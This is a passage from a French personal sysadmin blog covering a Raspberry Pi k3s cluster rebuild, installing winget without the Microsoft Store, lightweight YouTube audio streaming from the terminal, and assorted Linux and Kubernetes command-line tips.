 le lien contenu dans le SMS est bien en HTTPS, avec un domaine qui peut aller, mais sur un port non standard. Perso je fais ça dans un environnement de dev, sur mon rĂ©seau local, mais pas pour des informations transmises Ă  des clients, parce que ça, ça pue le phishing. La version mail de la notification, elle contient un bon lien, ce qui m’a permis de dĂ©caler la date de livraison, en donnant mon numĂ©ro au passage parce que la livraison chez moi, c’est pas trivial. En parallĂšle dans la journĂ©e de la livraison, je reçois un autre message pour dire qu’un nouveau colis est en route. En regardant le dĂ©tail, ce ne sont que les cĂąbles qui sont envoyĂ©s


Non mais sĂ©rieux ? Faut croire, j’ai bien eu trois livraisons pour une seule commande pour des produits tous marquĂ©s en stock. C’est clairement pas le genre de chose qui donne envie de recommencer, surtout avec un transporteur dont les outils de suivis sont aussi incroyable d’amateurisme, pour ĂȘtre poli. Alors dĂ©jĂ  le site Conrad, quand on clique sur les liens dans le mail, nous renvoie vers le site allemand pour le suivi, pas vraiment le truc le plus agrĂ©able du monde, j’ai dĂ©jĂ  parlĂ© des SMS, au final, en rĂ©cupĂ©rant le numĂ©ro de colis on a plus vite fait d’aller sur la page d’accueil du site français pour faire soi-mĂȘme la recherche dans la bonne langue.

Dernier point, il se trouve qu’en lisant les specs du chargeur reçu, deux semaines plus tard, je n’ai pas assez de puissance disponible sur les ports USB (le gros de la puissance est rĂ©servĂ© Ă  un port USB dit power delivery pour les ultra portables rĂ©cents
), la procĂ©dure de rĂ©tractation retour de Conrad passe par
 un PDF Ă  remplir et renvoyer par mail. Oui, en 2021 toujours. Les remplaçants (j’ai pris des chargeurs individuels 3A) ont Ă©tĂ© commandĂ©s en 1min30 et livrĂ©s en 24h chrono, sur Amazon.

Et on se demande pourquoi le géant américain a autant de succÚs


L’installation de k3s : on prend les mĂȘmes


Mon cluster d’origine avait Ă©tĂ© installĂ© et maintenu avec Ansible, via un dĂ©pĂŽt que j’avais partagĂ©. S’il avance un peu au ralenti par rapport Ă  un autre projet dĂ©couvert par un autre de mes collĂšgues de boulot, il est toujours fonctionnel. J’ai quand mĂȘme mis Ă  jour ma copie locale avant d’attaquer, histoire de m’assurer que le Raspberry Pi 4 soit bien pris en charge. Dans l’urgence et parce que je n’avais pas envie d’y passer tout le weekend, j’ai installĂ© la mĂȘme version 1.19 que j’avais dĂ©jĂ , Ă  une patch release prĂšs. L’installation a pris mĂȘme pas deux minutes, et moins de deux minutes encore plus tard, je pouvais voir les deux seuls containers du master dĂ©ployĂ©. Oui parce qu’historiquement je dĂ©ploie Traefik Ă  part pour des raisons de versions embarquĂ©es par k3s.

Et donc, pour le stockage, j’ai dans l’urgence utilisĂ© le nfs provisioner, via Helm. Quand je dis qu’on prend les mĂȘmes, ça vaut aussi pour mon niveau de compĂ©tences rĂ©seau. La configuration initiale semblait plus ou moins correcte (j’ai juste forcĂ© la version du protocole NFS), mais le premier volume se faisait jeter avec une erreur 32. Quelques essais au niveau de l’OS me renvoient effectivement un Permission denied. Pourtant, j’ai bien vĂ©rifiĂ© que l’IP du Pi fait partie de celles que j’ai autorisĂ© sur le NAS. Avant de dĂ©couvrir que la mĂ©thode utilisĂ©e pour dĂ©marrer avec une IP fixe (via le fichier cmdline.txt), n’empĂȘchait pas dhcpcd d’avoir fait son taf, malgrĂ© la dĂ©sactivation de l’autoconfiguration. Mon Pi avait donc deux adresses, et surprise, utilisait celle fournie par le DHCP alors mĂȘme qu’elle Ă©tait dĂ©clarĂ©e en secondary
 Vraiment, jusqu’à ma mort je pense que je continuerai Ă  faire ce genre de conneries.

En parlant de Helm, j’ai failli l’utiliser Ă©galement pour Traefik, parce que la migration des CRDs ne me motive pas plus que ça, mais finalement, j’ai rĂ©utilisĂ© mes manifestes. Je suis en train de me dĂ©battre avec quelques petits bugs mineurs avec mon Gitea, mais Ă  la fin, j’ai pu remettre en ligne le peu de services actifs que j’avais sur le cluster. Avec la perspective et les ressources pour cette fois pouvoir aller plus loin : rapatriement du lecteur de flux RSS (c’est dĂ©jĂ  fait, dans l’urgence aussi et c’est tellement honteux que je vais pas vous dire pourquoi), dĂ©ploiement de Bitwarden_rs (pardon, de Vaultwarden), d’un registry type Harbor, et d’autres services encore au grĂ© de mes expĂ©rimentations. Genre Rook que j’ai dĂ©jĂ  Ă©voquĂ© mais qui s’annonce compliquĂ©, Nocodb, iperf3, rocket.chat, Drone, Argo-CD, un service mesh histoire de pas mourir idiot, que sais-je encore. Avec une grosse contrainte quand mĂȘme : je suis dĂ©sormais sur une architecture ARM 64bit, et tous les logiciels ne sont pas forcĂ©ment disponibles pour celle-ci, une aventure de plus.

Et voilà, c’est tout debout et ça fonctionne bien 🙂

Une solution pas super élégante pour autant

Je m’explique : pour l’instant les Pi et le switch sont posĂ©s au fond du « meuble Â» TV, avec les cĂąbles qui passent Ă  l’arrache et un vieux T-shirt par dessus l’ensemble pour masquer les nombreuses diodes qui ne manquent pas de clignoter en permanence. Les Ă©lĂ©ments de montage en rack sont assez rudimentaires et ne concernent que les Pi, et il n’y a pas beaucoup de solutions commerciales qui joueraient la carte du tout-en-un; en tout cas le peu que je vois ne fait pas envie financiĂšrement parlant. Il me semble que je vais devoir passer par la case fabrication maison pour espĂ©rer faire quelque chose de mieux intĂ©grĂ©.

À moins de tomber sur quelque chose d’adaptable et adaptĂ©, mais bon, vu que la partie alimentation est spĂ©cifique, la partie rĂ©seau aussi, c’est compliquĂ© je pense; on s’orienterait carrĂ©ment vers une vraie armoire, ce qui s’annonce non neutre en termes de budget
 Mais voilĂ , il y a enfin un vrai cluster au niveau matĂ©riel chez moi, une envie qui traĂźnait depuis au moins deux/trois ans. Ce n’est pas encore aussi mature, propre, intĂ©grĂ© que chez certains (il faut aussi de la place, une autre problĂ©matique Ă  rĂ©gler dans les prochains mois), mais ça fonctionne. Et c’est tout ce qui compte.

  •  

Installez Winget depuis Github sans Microsoft Store

Je vous cache pas que ça a Ă©tĂ© un peu long, que ça demande un peu trop de steps Ă  mon goĂ»t (Microsoft vous rĂ©pondra « installez le Store Â»), mais comme ça peut servir dans pas mal de situations et que cet outil commence Ă  devenir rĂ©ellement intĂ©ressant, je partage 🙂

Eh oui, pour rappel, mon PC de jeu est installĂ© avec un Winfows 10 LTSC  2019, donc bloquĂ© en release 18.09, et il est dĂ©graissĂ© de pas mal d’élĂ©ments comme Cortana et le Microsoft Store. Ça n’a pas que des avantages, notez :

  • Une release qui date d’avant la sortie de mon matĂ©riel
  • Pas de WSL2
  • Pas de Windows Terminal

Et certainement d’autres petits dĂ©tails qui ne m’ont pas sautĂ© aux yeux. AprĂšs le dernier article de NextINpact sur l’outil (je vous laisse aller les lire pour en comprendre l’intĂ©rĂȘt), je me suis penchĂ© donc sur l’installation de winget depuis les paquets fournis sur Github pour faire un peu joujou avec.

Mais pour ceux qui ont trop la flemme, c’est un utilitaire, qui fait penser Ă  Chocolatey ou WAPT, qui permet d’installer via une commande unique, plusieurs applications provenant de sources diffĂ©rentes. Beaucoup plus efficace et rapide que d’aller sur chaque site officiel (quand les rĂ©sultats de recherche ne sont pas pourris de liens sponsorisĂ©s et de packages frelatĂ©s), rĂ©cupĂ©rer chaque fichier d’installation, les vĂ©rifier, et enfin se taper tous les process d’installation Ă  grand renfort de clics.

Comme j’envisage de refaire mon installation de Windows en fin d’annĂ©e avec la derniĂšre LTSC de Windows 10 (Ă  moi WSL2, Windows Terminal et j’en passe), ce logiciel a toute mon attention.

PremiÚre erreur : il manque les dépendances

C’est bien un truc qui m’emmerde profondĂ©ment sous Windows : toutes les applications que vous installez embarquent la plupart du temps leurs propres dĂ©pendances, ce qui fait que vous installez x copies d’une mĂȘme brique utilisĂ©e dans plusieurs logiciels. Un point que les distributions Linux ont compris depuis longtemps, ce qui fait que les logiciels proposĂ©s dans leurs dĂ©pĂŽts sont tous construits sur la mĂȘme base de dĂ©pendances, la mise Ă  jour d’une des briques profitant de fait Ă  tout le monde (et on retombe dans les mĂȘmes problĂ©matiques avec snap, flatpak et appImage
).

Donc aprĂšs avoir rĂ©cupĂ©rĂ© le package sur le dĂ©pĂŽt Github, premier Ă©chec de l’installation. Ici le message d’erreur Ă©tait relativement clair :

PS C:\Users\Seboss666\Downloads> Add-AppxPackage -Path .\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle
Add-AppxPackage : Échec du dĂ©ploiement avec HRESULT: 0x80073CF3, Échec des mises Ă  jour, de la dĂ©pendance ou de la
validation des conflits du package.
Windows ne peut pas installer le package Microsoft.DesktopAppInstaller_1.12.11692.0_x64__8wekyb3d8bbwe, car ce package
dĂ©pend d’une infrastructure qui n’a pas pu ĂȘtre trouvĂ©e. Indiquez l’infrastructure «Microsoft.VCLibs.140.00.UWPDesktop
» publiée par «CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US», avec une
architecture neutre ou de processeur x64 et la version minimale 14.0.29231.0, en plus de ce package Ă  installer. Les
infrastructures avec le nom «Microsoft.VCLibs.
Windows ne peut pas installer le package Microsoft.DesktopAppInstaller_1.12.11692.0_x64__8wekyb3d8bbwe, car ce package
dĂ©pend d’une infrastructure qui n’a pas pu ĂȘtre trouvĂ©e. Indiquez l’infrastructure «Microsoft.VCLibs.140.00.UWPDesktop
» publiée par «CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US», avec une
architecture neutre ou de processeur x64 et la version minimale 14.0.29231.0, en plus de ce package Ă  installer. Les
infrastructures avec le nom «Microsoft.VCLibs.140.00.UWPDesktop» installées actuellement sont: {}
REMARQUE: pour obtenir des informations supplémentaires, recherchez [ActivityId] e5511a5d-ad1a-0008-3346-51e51aadd701
dans le journal des événements ou utilisez la ligne de commande Get-AppPackageLog -ActivityID
e5511a5d-ad1a-0008-3346-51e51aadd701
Au caractĂšre Ligne:1 : 1
+ Add-AppxPackage -Path .\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.m ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (C:\Users\Seboss...bbwe.msixbundle:String) [Add-AppxPackage], IOException
    + FullyQualifiedErrorId : DeploymentError,Microsoft.Windows.Appx.PackageManager.Commands.AddAppxPackageCommand

Relativement hein
 Qwant a Ă©tĂ© mon ami pas mal de fois pendant ce voyage. DĂ©jĂ , dans la plupart des tutos, donc avec le Store activĂ©, on vous dit « double-cliquez sur le paquet tĂ©lĂ©chargĂ© Â». Vu qu’on ne peut pas cliquer sur le paquet, on lance PowerShell en mode administrateur, et on prie. Cette fois les recherches pointent vers des commandes qui
 font lancer le tĂ©lĂ©chargement de la dĂ©pendance depuis le Microsoft Store *clap, clap*

La rĂ©ponse se trouve dans l’installation manuelle de cette dĂ©pendance aprĂšs l’avoir tĂ©lĂ©chargĂ© depuis le site de Microsoft, aprĂšs que je me sois perdu plusieurs dizaines de minutes sur le forum dev de MS et sur des issues Github qui mentionnaient toutes des manipulations depuis Visual Studio, ce qui sans surprise ne me convenait pas. L’installation se fait de la mĂȘme maniĂšre que pour winget, et aprĂšs ça, on peut retenter  :

PS C:\Users\Seboss666\Downloads> Add-AppxPackage -Path .\Microsoft.VCLibs.x64.14.00.Desktop.appx
PS C:\Users\Seboss666\Downloads> Add-AppxPackage -Path .\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle

Je n’ai eu de message de retour pour aucune des deux commandes (alors que n’importe quel package manager sous Linux est autrement plus verbeux, pour votre bien). Mais winget est bien installĂ© dĂ©sormais.

Deuxiùme erreur : comment dire


Sauf que lĂ , on retombe dans des travers trĂšs « microsoftiens Â», quand je le lance la premiĂšre fois :

PS C:\Users\Seboss666\Downloads> winget.exe --help
Le programme «winget.exe» n’a pas pu s’exĂ©cuter: Aucune licence d'application applicable n'a Ă©tĂ© trouvĂ©eAu caractĂšre
Ligne:1 : 1
+ winget.exe --help
+ ~~~~~~~~~~~~~~~~~.
Au caractĂšre Ligne:1 : 1
+ winget.exe --help
+ ~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

Je
 n’ai pas de mots pour dĂ©crire la connerie. Et lĂ , ça a Ă©tĂ© encore plus long, le thread qui m’aura finalement sauvĂ© se trouve dans une issue Github oĂč l’on constate que plusieurs personnes se plaignent de problĂšmes d’installation sur des Windows Server, pour lesquels le Store est trĂšs facilement dĂ©gommĂ©, voire la machine n’a mĂȘme pas d’accĂšs internet direct pour des raisons de sĂ©curitĂ©. Vous me direz, pourquoi installer winget dans ce cas, j’avoue j’ai pas la rĂ©ponse, Ă  part pour scripter la phase d’installation de prĂ©requis au dĂ©ploiement d’une machine (ce que j’ai prĂ©vu de faire, remember).

Le fichier de licence a cependant Ă©tĂ© ajoutĂ© par Microsoft sans tambours ni trompettes (comprenez sans que ça soit explicitement mentionnĂ© ni documentĂ©) dans la liste des ressources accompagnant la release, ce qui ne permet pas d’identifier quand/si on en a besoin. Une fois le fichier rĂ©cupĂ©rĂ©, la commande d’installation se complique salement :

PS C:\Users\Seboss666\Downloads>
>> Add-AppxProvisionedPackage -Online -PackagePath .\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle -LicensePath .\08d8788d59cf47ed9bf42c31e31f8efa_License1.xml -Verbose
COMMENTAIRES : Version de l’image cible 10.0.17763.2183


Path          :
Online        : True
RestartNeeded : False

Cette fois on a un message de retour, pour la bonne raison qu’on a ajoutĂ© le flag -Verbose. Est-ce pour autant la fin du calvaire ?

PS C:\Users\Seboss666\Downloads> winget --help
Windows Package Manager v1.0.11692
Copyright (c) Microsoft Corporation. Tous droits réservés.

L’utilitaire de ligne de commande winget permet d’installer des applications et d’autres packages à partir de la ligne de commande.

consommation: winget [<commande>] [<options>]

Les commandes suivantes sont disponibles :
  install    Installe le package donné
  show       Affiche des informations sur un package
  source     Gérer les sources des packages
  search     Rechercher et afficher des informations de base sur les packages
  list       Afficher les packages installés
  upgrade    Met à niveau le package donné
  uninstall  Désinstallation du paquet donné
  hash       Assistant pour le hachage des fichiers d’installation
  validate   Valide un fichier manifeste
  settings   Ouvrir les paramĂštres
  features   Affiche le statut des fonctionnalités expérimentales
  export     Exporte une liste des packages installés
  import     Installe tous les packages dans un fichier

Pour en savoir plus sur une commande spĂ©cifique, passez-la Ă  l’argument aide. [-?]

Les options suivantes sont disponibles :
  -v,--version  Afficher la version de l’outil
  --info        Afficher les informations gĂ©nĂ©rales de l’outil

Vous trouverez de l’aide supplĂ©mentaire sur : https://aka.ms/winget-command-help

Enfin, ça semble fonctionner, et une recherche de package montre bien des résultats :

PS C:\Users\Seboss666\Downloads> winget search gimp
Nom          ID                Version Correspondance
-----------------------------------------------------
GIMP         GIMP.GIMP         2.10.24
GIMP Nightly GIMP.GIMP.Nightly 2.99.6  Tag: gimp

PS C:\Users\Seboss666\Downloads> winget show gimp
Trouvé GIMP [GIMP.GIMP]
Version: 2.10.24
Publisher: The GIMP Team
Author: The GIMP Team
Moniker: GIMP
Description: GIMP is an acronym for GNU Image Manipulation Program. It is a freely distributed program for such tasks as photo retouching, image composition and image authoring.
Homepage: https://www.gimp.org
License: Copyright (C) 2007 Free Software Foundation, Inc. - GNU General Public License
License Url: https://www.gimp.org/about/COPYING
Installer:
  Type: Inno
  Download Url: https://download.gimp.org/pub/gimp/v2.10/windows/gimp-2.10.24-setup-1.exe
  SHA256: 84a542d717217f5fb996a18093c4424136978ebbf3815db2ee3c5daa8dcafc0b

Quand j’ai fait la recherche, l’annonce de la sortie de la version 2.10.28 de GIMP venait de tomber dans mes flux RSS, donc je me fais pas trop de soucis que ça sera à jour sous peu.

Ah, derniĂšre petite erreur, sans surprise vu que c’est un outil Microsoft, il embarque de la tĂ©lĂ©mĂ©trie. Pour la dĂ©sactiver, il faut faire un winget settings et vous croisez les doigts (chez moi sans que je sache pourquoi j’avais pas d’éditeur par dĂ©faut pour les fichiers json, du coup ça complique temporairement les choses), il faut ajouter les Ă©lĂ©ments suivants :

"telemetry": {
    "disable": true
},

Attention : packages en anglais

C’est trĂšs frĂ©quent pour des logiciels jeunes comme winget, surtout quand c’est initiĂ© par une boite amĂ©ricaine : la plupart des logiciels vont ĂȘtre installĂ©s par dĂ©faut dans la langue de Shakespeare. Je n’ai pas trop regardĂ© encore comment amĂ©liorer ça pour les gens que ça dĂ©range, pour ma part, je suis assez Ă  l’aise, mĂȘme si certains logiciels sont quand mĂȘme plus agrĂ©ables Ă  gĂ©rer dans notre si belle langue (surtout avec des sites web qui dĂ©tectent votre langue Ă  partir de celle de votre navigateur prĂ©fĂ©rĂ© par exemple).

Le fait est que la source des manifestes d’installation se trouve sur Github, et les contributions sont ouvertes, donc dans la grande tradition de git et de la plateforme en particulier, les ajouts peuvent se faire Ă  coup de forks et de pull requests. Il est mĂȘme possible de crĂ©er son propre dĂ©pĂŽt ou « source Â» de packages si l’envie vous en prend. On est donc sur un bel outil qui semble amenĂ© Ă  un bel avenir. Il va ĂȘtre temps de se prĂ©parer un joli script d’installation massive 🙂

  •  

Stream youtube sans navigateur, dur, mais faisable !

Quand je ne suis pas en rĂ©union/call/confĂ©rence Teams, et mĂȘme en dehors du boulot, j’ai une tendance facile Ă  laisser traĂźner un live youtube en mode « radio Â» (il en existe une foultitude). Mais l’ñge du PC, la lourdeur de YouTube (son manque d’optimisation « standard Â»), font que je cherchais une solution plus lĂ©gĂšre. J’ai trouvĂ© une solution de geek Ă©videmment


Ma machine date technologiquement : un Intel Core i5 6300U, ça reste encore vaillant, mais face Ă  l’agression constante d’un Microsoft Teams, et d’un Firefox aux dizaines d’onglets ouverts, certains particuliĂšrement consommateurs (consoles de cloud providers, entre autres), malgrĂ© les 16Go de RAM et le Crucial P2, certains moments deviennent pĂ©nible. Ajoutez que sous Linux, l’accĂ©lĂ©ration vidĂ©o dans les navigateurs reste problĂ©matique, et que malgrĂ© les solutions apportĂ©es sur le papier, j’ai toujours pas rĂ©ussi personnellement alors que les plateformes Intel sont pourtant rĂ©putĂ©es faciles Ă  exploiter. Le load s’envole Ă  tout va, les latences dans la moindre action devient problĂ©matique, la seule chose qui reste constante, c’est le shell.

Je n’ai pas de capture d’écran Ă  partager, mais voilĂ , lors d’un test « au repos Â», avec juste un onglet Youtube d’ouvert sur une des radios que j’écoute, le load atteint vite les 4/5 avec tous les cƓurs Ă  100%, sur une machine qui n’a que deux cƓurs physiques avec HyperTreading. Teams est dĂ©jĂ  une purge quand il est tout seul, pareil pour Firefox avec tous les sites qui ne sont maintenant validĂ©s qu’avec Chrome (l’impression d’un retour en arriĂšre de 20 ans, mais en remplaçant Microsoft par Google, on se sentirait presque Bill Murray). Je me suis donc mis en tĂȘte de chercher des alternatives plus lĂ©gĂšres, d’autant plus que seul l’audio est ma cible.

Une flopée de déceptions

VLC en tĂȘte d’ailleurs. C’est le seul logiciel Ă  qui j’ai pu faire avaler le moteur de dĂ©codage vidĂ©o du GPU intĂ©grĂ© Intel, il portait donc beaucoup d’espoir. Mais depuis un certain temps, alors que pas mal d’articles, certains datant mĂȘme de plusieurs annĂ©es, ou parlant de la version de dĂ©veloppement, mentionnent qu’il suffit normalement de lui passer l’URL d’une vidĂ©o pour qu’il s’en charge, pas moyen ici de lui faire avaler celle de mon flux favori.

D’autres recherches m’ont envoyĂ©es vers diffĂ©rents logiciels de diffĂ©rents niveaux de finition. Une fois encore, la facilitĂ© apportĂ©e par AUR dans l’installation des logiciels et de leurs dĂ©pendance rend l’expĂ©rience de test beaucoup plus simple et rapide. Mais pas le rĂ©sultat. Certains logiciels ne fonctionnaient pas du tout, d’autres Ă©taient encore plus lourds qu’un navigateur. J’avais pourtant dĂ©jĂ  exclus d’emblĂ©e toute application Electron, parce que bon, si c’est pour lancer un Chromium et ouvrir un site, autant utiliser Chromium qui est dĂ©jĂ  frĂ©quemment ouvert (j’avais dĂ©jĂ  parlĂ© de ça dans l’utilisation des proxy Socks). Ce n’est cependant pas ce que je cherchais.

Il y a une application qui a tenu deux minutes avant que je la supprime. Elle paraissait intĂ©ressante, mais elle ne supporte pas correctement les flux « stream Â», et changeait de vidĂ©o au bout de 10 secondes. C’est particuliĂšrement frustrant. Au total ce sont quatre ou cinq applications qui sont passĂ©es sur le grill et qui n’ont pas tenu l’objectif. Avec en plus des recherches entrecoupĂ©es d’actions liĂ©es purement au boulot, et des appels frĂ©quents en ce moment (vacances, dĂ©parts, on devient vite « seul au monde Â»), je dĂ©sespĂ©rais de trouver une solution.

Le Graal encore une fois en « console Â»

Je finis sur une discussion qui parle de youtube-viewer. Quand on cherche juste youtube-viewer sur un moteur de recherche, on tombe sur plusieurs projets, mais celui-ci est en perl (ouais, je troll souvent sur le langage, mais voilĂ , parfois, ça fait le taf). C’est finalement un gros script, il n’est lĂ  que pour manipuler les API YouTube, et passer la vidĂ©o Ă  un lecteur adaptĂ©. Les premiers essais avec mplayer Ă©chouent (j’ai suivi les exemples dans la discussion), un rapide coup d’Ɠil dans les issues github me confirment que le lecteur n’est plus supportĂ© et que mpv doit lui ĂȘtre prĂ©fĂ©rĂ©; un coup de yay plus tard j’entends enfin mon premier son stable pendant plus d’une minute !

Je ne vais pas dĂ©tailler toutes les possibilitĂ©s de youtube-viewer, sachez que si vous comptez exploiter la recherche de vidĂ©os, il faudra gĂ©nĂ©rer une clĂ© d’API sur
 votre compte YouTube/Google. Eh ouais, l’utilisation en mode « anonyme Â» ne peut se faire que via le navigateur ou les applications officielles, histoire de bien enregistrer le moindre de vos faits et gestes
 Dans mon cas, vu que je passe l’URL directe du flux, ça n’est pas nĂ©cessaire, la documentation devrait vous aider.

Le dernier point qui me dĂ©rangeait, c’était que ça prenait un onglet dans Guake, et j’en ouvre dĂ©jĂ  beaucoup trop 😀 j’ai donc montĂ© un petit prototype de script qui ne sert pas Ă  grand chose Ă  part dĂ©marrer youtube-viewer en mode « arriĂšre-plan Â» :

#!/bin/bash

screen -dmS mpv-youtube youtube-viewer --video-player=mpv --no-video $@

Ah oui, ce n’est pas mentionnĂ©, mais il faut installer youtube-dl pour que l’extraction des flux d’une URL fonctionne, il n’est qu’en dĂ©pendance optionnelle sur le paquet AUR. Et pour screen, c’est pas non plus installĂ© par dĂ©faut. L’avantage, c’est que sous Manjaro/Arch, c’est d’une facilitĂ© dĂ©concertante Ă  installer.

C’est du prototype hein, donc ça se limite Ă  dire « lance youtube-viewer, avec le lecteur mpv, sans aucun dĂ©codage vidĂ©o, avec l’URL fournie au lancement du script. Le tout dans un screen pour rendre la main Ă  la console. Les plus alertes auront compris qu’il n’y a aucun contrĂŽle de lecture ou de volume du coup. En effet, pour couper le son pendant les appels, je me repose sur pulseaudio, qui a aussi le bon goĂ»t de pouvoir envoyer la lecture d’mpv sur la sortie « enceintes Â» du laptop, pour laisser le casque Ă  Teams. Je n’ai pas besoin de contrĂŽler la lecture, pour une bonne et simple raison


Réduction du load : achievement unlocked

Je me suis remis dans la configuration du test initial pour mesurer le load : moins de 2, avec mĂȘmes des descentes Ă  presque 1. Le CPU respire et les latences sont rĂ©duites dans plusieurs situations, j’ai donc moins de frustrations Ă  l’accumulation de ces micro-attentes qui se rĂ©pĂštent Ă  longueur de journĂ©e. Par consĂ©quent, le manque de contrĂŽle de la lecture n’est pas un problĂšme fondamental, dans la mesure ou il n’y a plus qu’à couper le son pour ne pas ĂȘtre dĂ©rangĂ©, la lecture peut continuer sans avoir d’impact important sur mon quotidien.

VoilĂ , une grosse astuce qui mĂ©ritait un peu plus qu’une petite place dans un « astuces diverses Â» (on vient de dĂ©passer les 1000 mots). Et oui, j’ai encore trouvĂ© une solution qui n’est pas Ă  la portĂ©e de tout le monde, mais quand les outils pour monsieur tout le monde deviennent trop pĂ©nibles, la console nous sauve tous. Et il n’est pas dit que j’aurais pu trouver une solution simple sous Windows (bon ceci dit, l’accĂ©lĂ©ration vidĂ©o sous Windows, ça fonctionne mieux, alors
).

  •  

Quelques astuces diverses, vingtiĂšme

Quoi, ce blog est encore en vie ? Oui, c’est une premiĂšre je pense aussi longtemps sans billet. Le problĂšme, c’est la motivation et la satisfaction de ce que je peux Ă©crire, pour que ça parvienne jusqu’au partage. MalgrĂ© tout, et histoire d’enlever quelques toiles d’araignĂ©es, on va repartir sur ces bonnes vieilles astuces !

ipcalc pour IPv6 ?

Historiquement, sur Manjaro j’utilise le paquet ipcalc tout court pour valider/vĂ©rifier des subnet rĂ©seaux. Mais il est limitĂ© Ă  IPv4, et si on veut IPv6, AUR vient Ă  notre rescousse en nous mettant Ă  disposition le fork maintenu par RedhHat :

$ ipcalc 2001:41d0:304:200::9bb4/64
Full Address:	2001:41d0:0304:0200:0000:0000:0000:9bb4
Address:	2001:41d0:304:200::9bb4
Full Network:	2001:41d0:0304:0200:0000:0000:0000:0000/64
Network:	2001:41d0:304:200::/64
Netmask:	ffff:ffff:ffff:ffff:: = 64

Address space:	Global Unicast
HostMin:	2001:41d0:304:200::
HostMax:	2001:41d0:304:200:ffff:ffff:ffff:ffff
Hosts/Net:	2^(64) = 18446744073709551616

Autre alternative, sur Ubuntu par exemple, sipcalc vous aidera :

$ sipcalc 2001:41d0:304:200::9bb4/64
-[ipv6 : 2001:41d0:304:200::9bb4/64] - 0

[IPV6 INFO]
Expanded Address	- 2001:41d0:0304:0200:0000:0000:0000:9bb4
Compressed address	- 2001:41d0:304:200::9bb4
Subnet prefix (masked)	- 2001:41d0:304:200:0:0:0:0/64
Address ID (masked)	- 0:0:0:0:0:0:0:9bb4/64
Prefix address		- ffff:ffff:ffff:ffff:0:0:0:0
Prefix length		- 64
Address type		- Aggregatable Global Unicast Addresses
Network range		- 2001:41d0:0304:0200:0000:0000:0000:0000 -
			  2001:41d0:0304:0200:ffff:ffff:ffff:ffff

Des sons de vague dans le terminal ?

Non pas que les baignades me manquent, mais tout de mĂȘme, sans ĂȘtre accro Ă  la mer, un son de vague, c’est toujours apaisant (limite je m’endors avec). Alors jouer un son de vagues via le terminal, ça coĂ»te moins cher en ressources qu’une vidĂ©o YouTube 😛

play -n synth brownnoise synth pinknoise mix synth 0 0 0 15 40 80 trapezium amod 0.2 20

Il faut le mentionner, play est une commande qu’on retrouve dans le paquet « sox Â», disponible dans toutes les bonnes crĂšmeries/distributions.

OpenSSH et format de clĂ© privĂ©e « legacy Â»

Ah oui tiens, une belle surprise qui m’est arrivĂ©e au taf. Mise en place d’un Rundeck qui, pour le SSH a dĂ©cidĂ© d’utiliser une bibliothĂšque Java de mes deux plutĂŽt que le SSH natif de l’hĂŽte (du container en l’occurrence, mais on s’en fout). Souci, quand on gĂ©nĂšre la clĂ© SSH sur un systĂšme rĂ©cent, voilĂ  le rĂ©sultat de l’entĂȘte de la clĂ© :

$ ssh-keygen -t rsa -b 2048 -f private.key
$cat private.key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEb
(...)

Et l’implĂ©mentation en Java ne supporte que l’ancien format « RSA Â». L’astuce, c’est de changer le format de la clĂ© en modifiant la passphrase, et donc le format au passage (ouais c’est pas trivial comme mĂ©thode) :

$ ssh-keygen -p -N "" -m pem -f /path/to/key

-N vide si pas de passphrase, sinon mettez la votre ou une autre si vous souhaitez la changer par la mĂȘme occasion.

Liveness Probe sur container php-fpm dans Kubernetes ?

Eh oui, il arrive dans certains contextes qu’on sĂ©pare l’exĂ©cution de php-fpm du serveur web (quand c’est Nginx par exemple le serveur web, et non on met pas tout dans le mĂȘme container, bandes de gros dĂ©gueulasses). Pour vĂ©rifier son Ă©tat de santĂ©, on peut lancer la commande suivante en guise de Liveness Probe :

readinessProbe:
          exec:
            command:
            - sh
            - "-c"
            - "SCRIPT_FILENAME=/ping /usr/bin/cgi-fcgi -bind -connect localhost:9000"

On aura pris soin évidemment de configurer le ping dans le pool fpm embarqué :

pm.status_path=/status
ping.path=/ping
ping.response=pong

Obtenir l’uptime d’un container ?

Comme le brouillon a trainĂ© pendant un temps beaucoup trop long et que j’ai pas pris suffisamment de notes, je n’ai plus de contexte particulier (j’aime bien avoir le contexte, pourtant). Enfin bref, j’ai eu Ă  un moment donnĂ© besoin d’avoir l’uptime d’un container, vu par l’hĂŽte, sans accĂšs au runtime. Ben si on cherche bien, on peut rĂ©cupĂ©rer l’uptime du processus dĂ©marrĂ© par le container via des options de ps :

$ ps -eo pid,comm,lstart
  PID COMMAND                          STARTED
    1 init            Sat Jul 31 11:15:54 2021
    2 init            Sat Jul 31 11:15:54 2021
    3 bash            Sat Jul 31 11:15:54 2021
    4 terminator      Sat Jul 31 11:15:54 2021
   32 dbus-launch     Sat Jul 31 11:15:54 2021
   33 dbus-daemon     Sat Jul 31 11:15:54 2021
   35 at-spi-bus-laun Sat Jul 31 11:15:54 2021

Faire le total des pages des supports PDF en ligne de commande

Pendant ma prĂ©paration Ă  la certification Google Cloud Professional Architect (que j’ai eu, champagne ! Bon c’était en DĂ©cembre dernier dĂ©jĂ , mais c’est pas grave), j’ai accumulĂ© les supports PDF des formations prĂ©paratoires Ă  la certification. C’était assez touffu — 65h de formations prĂ©vues, ateliers compris–, et en discutant d’un Ă©ventuel partage des documents, j’ai voulu savoir Ă  quel point c’était dense. Avec tous les PDFs dans le mĂȘme dossier, et grĂące Ă  qpdf, voilĂ  Ă  quoi on peut s’attendre :

$ find . -name "*.pdf" -exec qpdf --show-npages {} \; | awk '{s+=$1} END {print s}'
1032

Oui, c’est dense, trĂšs dense. Et le pire, c’est que ça couvre pas toutes les questions posĂ©es Ă  l’examen, il faut quand mĂȘme un cerveau !

MongoDB est un con

